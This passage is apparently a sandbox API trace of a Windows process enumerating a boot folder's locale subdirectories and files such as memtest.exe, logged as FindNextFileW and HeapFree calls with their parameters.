(in: hFindFile=0x74a5b0, lpFindFileData=0x2f7fa7c | out: lpFindFileData=0x2f7fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0008dbb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5252b3, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="da-DK", cAlternateFileName="")) returned 1 [0286.260] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3730078 | out: hHeap=0x730000) returned 1 [0286.260] FindNextFileW (in: hFindFile=0x74a5b0, lpFindFileData=0x2f7fa7c | out: lpFindFileData=0x2f7fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0009692, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef538bee, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="de-DE", cAlternateFileName="")) returned 1 [0286.260] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3730078 | out: hHeap=0x730000) returned 1 [0286.260] FindNextFileW (in: hFindFile=0x74a5b0, lpFindFileData=0x2f7fa7c | out: lpFindFileData=0x2f7fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef555ff8, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="el-GR", cAlternateFileName="")) returned 1 [0286.261] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3730078 | out: hHeap=0x730000) returned 1 [0286.261] FindNextFileW (in: hFindFile=0x74a5b0, lpFindFileData=0x2f7fa7c | out: lpFindFileData=0x2f7fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc482dc87, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="en-GB", cAlternateFileName="")) returned 1 [0286.261] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3730078 | out: hHeap=0x730000) returned 1 [0286.261] FindNextFileW (in: hFindFile=0x74a5b0, lpFindFileData=0x2f7fa7c | out: lpFindFileData=0x2f7fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef57d0f5, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="en-US", cAlternateFileName="")) returned 1 [0286.261] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3730078 | out: hHeap=0x730000) returned 1 [0286.261] FindNextFileW (in: hFindFile=0x74a5b0, lpFindFileData=0x2f7fa7c | out: lpFindFileData=0x2f7fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000b9ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef586d37, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="es-ES", cAlternateFileName="")) returned 1 [0286.261] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3730078 | out: hHeap=0x730000) returned 1 [0286.261] FindNextFileW (in: hFindFile=0x74a5b0, lpFindFileData=0x2f7fa7c | out: lpFindFileData=0x2f7fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000c12e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc4853f40, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="es-MX", cAlternateFileName="")) returned 1 [0286.262] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3730078 | out: hHeap=0x730000) returned 1 [0286.262] FindNextFileW (in: hFindFile=0x74a5b0, lpFindFileData=0x2f7fa7c | out: lpFindFileData=0x2f7fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc487a0b9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="et-EE", cAlternateFileName="")) returned 1 [0286.262] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3730078 | out: hHeap=0x730000) returned 1 [0286.262] FindNextFileW (in: hFindFile=0x74a5b0, lpFindFileData=0x2f7fa7c | out: lpFindFileData=0x2f7fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000cf3a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef59a5b1, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0286.262] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3730078 | out: hHeap=0x730000) returned 1 [0286.262] FindNextFileW (in: hFindFile=0x74a5b0, lpFindFileData=0x2f7fa7c | out: lpFindFileData=0x2f7fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc49ab3c7, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0109451, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef999ae4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Fonts", cAlternateFileName="")) returned 1 [0286.264] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3730078 | out: hHeap=0x730000) returned 1 [0286.264] FindNextFileW (in: hFindFile=0x74a5b0, lpFindFileData=0x2f7fa7c | out: lpFindFileData=0x2f7fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="fr-CA", cAlternateFileName="")) returned 1 [0286.264] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3730078 | out: hHeap=0x730000) returned 1 [0286.264] FindNextFileW (in: hFindFile=0x74a5b0, lpFindFileData=0x2f7fa7c | out: lpFindFileData=0x2f7fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010bc12, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ade2b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0286.264] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3730078 | out: hHeap=0x730000) returned 1 [0286.264] FindNextFileW (in: hFindFile=0x74a5b0, lpFindFileData=0x2f7fa7c | out: lpFindFileData=0x2f7fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="hr-HR", cAlternateFileName="")) returned 1 [0286.264] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3730078 | out: hHeap=0x730000) returned 1 [0286.264] FindNextFileW (in: hFindFile=0x74a5b0, lpFindFileData=0x2f7fa7c | out: lpFindFileData=0x2f7fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010c5ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5c171b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0286.264] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3730078 | out: hHeap=0x730000) returned 1 [0286.264] FindNextFileW (in: hFindFile=0x74a5b0, lpFindFileData=0x2f7fa7c | out: lpFindFileData=0x2f7fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010ccad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5d8ab4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="it-IT", cAlternateFileName="")) returned 1 [0286.265] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3730078 | out: hHeap=0x730000) returned 1 [0286.265] FindNextFileW (in: hFindFile=0x74a5b0, lpFindFileData=0x2f7fa7c | out: lpFindFileData=0x2f7fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010d0c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ed6c6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0286.265] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3730078 | out: hHeap=0x730000) returned 1 [0286.265] FindNextFileW (in: hFindFile=0x74a5b0, lpFindFileData=0x2f7fa7c | out: lpFindFileData=0x2f7fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5fc210, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef5fc210, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0286.265] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3730078 | out: hHeap=0x730000) returned 1 [0286.265] FindNextFileW (in: hFindFile=0x74a5b0, lpFindFileData=0x2f7fa7c | out: lpFindFileData=0x2f7fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="lt-LT", cAlternateFileName="")) returned 1 [0286.265] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3730078 | out: hHeap=0x730000) returned 1 [0286.265] FindNextFileW (in: hFindFile=0x74a5b0, lpFindFileData=0x2f7fa7c | out: lpFindFileData=0x2f7fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="lv-LV", cAlternateFileName="")) returned 1 [0286.265] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3730078 | out: hHeap=0x730000) returned 1 [0286.265] FindNextFileW (in: hFindFile=0x74a5b0, lpFindFileData=0x2f7fa7c | out: lpFindFileData=0x2f7fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6196d8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xfbcf473f, ftLastWriteTime.dwHighDateTime=0x1d2fa06, nFileSizeHigh=0x0, nFileSizeLow=0xc63a0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="memtest.exe", cAlternateFileName="")) returned 1 [0286.266] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3730078 | out: hHeap=0x730000) returned 1 [0286.266] FindNextFileW (in: hFindFile=0x74a5b0, lpFindFileData=0x2f7fa7c | out: lpFindFileData=0x2f7fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e4fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6407cf, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0286.266] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3730078 | out: hHeap=0x730000) returned 1 [0286.266] FindNextFileW (in: hFindFile=0x74a5b0, lpFindFileData=0x2f7fa7c | out: lpFindFileData=0x2f7fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65403a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef65403a, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0286.266] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3730078 | out: hHeap=0x730000) returned 1 [0286.266] FindNextFileW (in: hFindFile=0x74a5b0, lpFindFileData=0x2f7fa7c | out: lpFindFileData=0x2f7fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6678d6, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6678d6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0286.266] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3730078 | out: hHeap=0x730000) returned 1 [0286.266] FindNextFileW (in: hFindFile=0x74a5b0, lpFindFileData=0x2f7fa7c | out: lpFindFileData=0x2f7fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f167, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6714dc, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0286.266] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3730078 | out: hHeap=0x730000) returned 1 [0286.266] FindNextFileW (in: hFindFile=0x74a5b0, lpFindFileData=0x2f7fa7c | out: lpFindFileData=0x2f7fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f640, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef684d85, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="qps-ploc", cAlternateFileName="")) returned 1 [0286.267] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3730078 | out: hHeap=0x730000) returned 1 [0286.267] FindNextFileW (in: hFindFile=0x74a5b0, lpFindFileData=0x2f7fa7c | out: lpFindFileData=0x2f7fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ab61e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9abff9, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Resources", cAlternateFileName="RESOUR~1")) returned 1 [0286.455] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ec2098 | out: hHeap=0x730000) returned 1 [0286.455] FindNextFileW (in: hFindFile=0x74a630, lpFindFileData=0x2f7f800 | out: lpFindFileData=0x2f7f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ac01e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9baa67, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0 [0286.455] FindClose (in: hFindFile=0x74a630 | out: hFindFile=0x74a630) returned 1 [0286.455] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3730078 | out: hHeap=0x730000) returned 1 [0286.455] FindNextFileW (in: hFindFile=0x74a5b0, lpFindFileData=0x2f7fa7c | out: lpFindFileData=0x2f7fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="ro-RO", cAlternateFileName="")) returned 1 [0286.455] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3730078 | out: hHeap=0x730000) returned 1 [0286.455] FindNextFileW (in: hFindFile=0x74a5b0, lpFindFileData=0x2f7fa7c | out: lpFindFileData=0x2f7fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef698608, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef698608, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0286.456] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3730078 | out: hHeap=0x730000) returned 1 [0286.456] FindNextFileW (in: hFindFile=0x74a5b0, lpFindFileData=0x2f7fa7c | out: lpFindFileData=0x2f7fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="sk-SK", cAlternateFileName="")) returned 1 [0286.456] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3730078 | out: hHeap=0x730000) returned 1 [0286.456] FindNextFileW (in: hFindFile=0x74a5b0, lpFindFileData=0x2f7fa7c | out: lpFindFileData=0x2f7fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="sl-SI", cAlternateFileName="")) returned 1 [0286.456] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3730078 | out: hHeap=0x730000) returned 1 [0286.456] FindNextFileW (in: hFindFile=0x74a5b0, lpFindFileData=0x2f7fa7c | out: lpFindFileData=0x2f7fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x5168548b, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0x5168548b, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="sr-Latn-CS", cAlternateFileName="SR-LAT~1")) returned 1 [0286.456] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3730078 | out: hHeap=0x730000) returned 1 [0286.456] FindNextFileW (in: hFindFile=0x74a5b0, lpFindFileData=0x2f7fa7c | out: lpFindFileData=0x2f7fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="sr-Latn-RS", cAlternateFileName="SR-LAT~2")) returned 1 [0286.456] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3730078 | out: hHeap=0x730000) returned 1 [0286.456] FindNextFileW (in: hFindFile=0x74a5b0, lpFindFileData=0x2f7fa7c | out: lpFindFileData=0x2f7fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01adf43, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6a2250, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0286.457] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3730078 | out: hHeap=0x730000) returned 1 [0286.457] FindNextFileW (in: hFindFile=0x74a5b0, lpFindFileData=0x2f7fa7c | out: lpFindFileData=0x2f7fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206504, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6b5aca, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0286.457] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3730078 | out: hHeap=0x730000) returned 1 [0286.457] FindNextFileW (in: hFindFile=0x74a5b0, lpFindFileData=0x2f7fa7c | out: lpFindFileData=0x2f7fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206a30, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="uk-UA", cAlternateFileName="")) returned 1 [0286.457] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3730078 | out: hHeap=0x730000) returned 1 [0286.457] FindNextFileW (in: hFindFile=0x74a5b0, lpFindFileData=0x2f7fa7c | out: lpFindFileData=0x2f7fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef6c9427, ftCreationTime.dwHighDateTime=0x1d3273d, ftLastAccessTime.dwLowDateTime=0xef6c9427, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x1236, dwReserved0=0x0, dwReserved1=0x240000, cFileName="updaterevokesipolicy.p7b", cAlternateFileName="UPDATE~1.P7B")) returned 1 [0286.457] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3730078 | out: hHeap=0x730000) returned 1 [0286.457] FindNextFileW (in: hFindFile=0x74a5b0, lpFindFileData=0x2f7fa7c | out: lpFindFileData=0x2f7fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0207675, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x518ea25e, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="zh-HK", cAlternateFileName="")) returned 1 [0286.457] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3730078 | out: hHeap=0x730000) returned 1 [0286.457] FindNextFileW (in: hFindFile=0x74a5b0, lpFindFileData=0x2f7fa7c | out: lpFindFileData=0x2f7fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6e6901, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0286.458] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3730078 | out: hHeap=0x730000) returned 1 [0286.458] FindNextFileW (in: hFindFile=0x74a5b0, lpFindFileData=0x2f7fa7c | out: lpFindFileData=0x2f7fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, 